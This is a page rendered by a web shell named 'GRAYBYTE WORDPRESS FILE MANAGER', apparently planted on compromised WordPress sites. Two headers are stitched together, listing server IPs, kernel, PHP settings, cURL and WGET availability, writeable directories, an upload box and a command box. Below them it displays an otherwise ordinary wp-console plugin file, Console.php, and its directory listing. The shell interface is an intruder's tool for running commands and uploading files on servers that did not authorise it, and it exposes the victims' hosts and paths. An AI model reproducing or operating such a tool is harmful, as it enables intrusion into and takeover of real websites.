GRAYBYTE WORDPRESS FILE MANAGER2696

Server IP : 192.250.235.76 / Your IP : 45.90.210.12
System : Linux s2968.sgp1.stableserver.net 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
PHP Version : 8.2.29
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/tawsifschoice/borkaa.tawsifschoice.com/
1902120114081995

GRAYBYTE WORDPRESS FILE MANAGER2014

Server IP : 198.54.116.172 / Your IP : 216.73.216.36
System : Linux server322.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/sadasgfe/fashiondebate.pk/wp-content/plugins/wp-console/includes/Core/Console/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/sadasgfe/fashiondebate.pk/wp-content/plugins/wp-console/includes/Core/Console//Console.php
<?php

namespace WPConsole\Core\Console;

class Console {

    /**
     * Class constructor
     *
     * @since 1.0.0
     *
     * @return void
     */
    public function __construct() {
        add_filter( 'wp_console_rest_controllers', [ $this, 'add_rest_controller' ] );
        add_filter( 'wp_console_user_settings_schema', [ $this, 'add_user_settings_schema' ] );
    }

    /**
     * Add REST controller
     *
     * @since 1.0.0
     *
     * @param object $controllers
     *
     * @return void
     */
    public function add_rest_controller( $controllers ) {
        $controllers->console = new RestController();
        return $controllers;
    }

    /**
     * Add user settings schema
     *
     * @since 2.0.0
     *
     * @param array $settings
     *
     * @return array
     */
    public function add_user_settings_schema( $schema ) {
        $defaults = [
            'window_split' => 'vertical',
            'snippets'     => [
                [
                    'id'       => wp_generate_uuid4(),
                    'title'    => __( 'Custom Snippets', 'wp-console' ),
                    'snippets' => '{}',
                ],
            ],
        ];

        $schema['console'] = [
            'description' => __( 'User settings for Console panel', 'wp-console' ),
            'type'        => 'object',
            'context'     => [ 'view', 'edit' ],
            'default'     => $defaults,
            'properties'  => [
                'window_split' => [
                    'description' => __( 'Console panel window split type', 'wp-console' ),
                    'type'        => 'string',
                    'enum'        => [ 'horizontal', 'vertical' ],
                    'default'     => $defaults['window_split'],
                    'context'     => [ 'view', 'edit' ],
                ],
                'snippets' => [
                    'description' => __( 'User defined custom snippets', 'wp-console' ),
                    'type'        => 'array',
                    'default'     => $defaults['snippets'],
                    'context'     => [ 'view', 'edit' ],
                    'items'       => [
                        'type'       => 'object',
                        'properties' => [
                            'id'    => [
                                'description' => __( 'Snippet group id', 'wp-console' ),
                                'type'        => 'string',
                                'required'    => true,
                            ],
                            'title' => [
                                'description' => __( 'Snippet group title', 'wp-console' ),
                                'type'        => 'string',
                                'required'    => true,
                            ],
                            'snippets' => [
                                'description' => __( 'VSCode compatible snippets in JSON format', 'wp-console' ),
                                'type'        => 'string',
                                'required'    => true,
                            ],
                        ]
                    ],
                ],
            ],
        ];

        return $schema;
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
January 10 2026 17:50:02
sadasgfe / sadasgfe
0755
VarDumper
--
January 10 2026 17:50:02
sadasgfe / sadasgfe
0755
Console.php
3.17 KB
January 10 2026 17:50:02
sadasgfe / sadasgfe
0644
RestController.php
4.849 KB
January 10 2026 17:50:02
sadasgfe / sadasgfe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF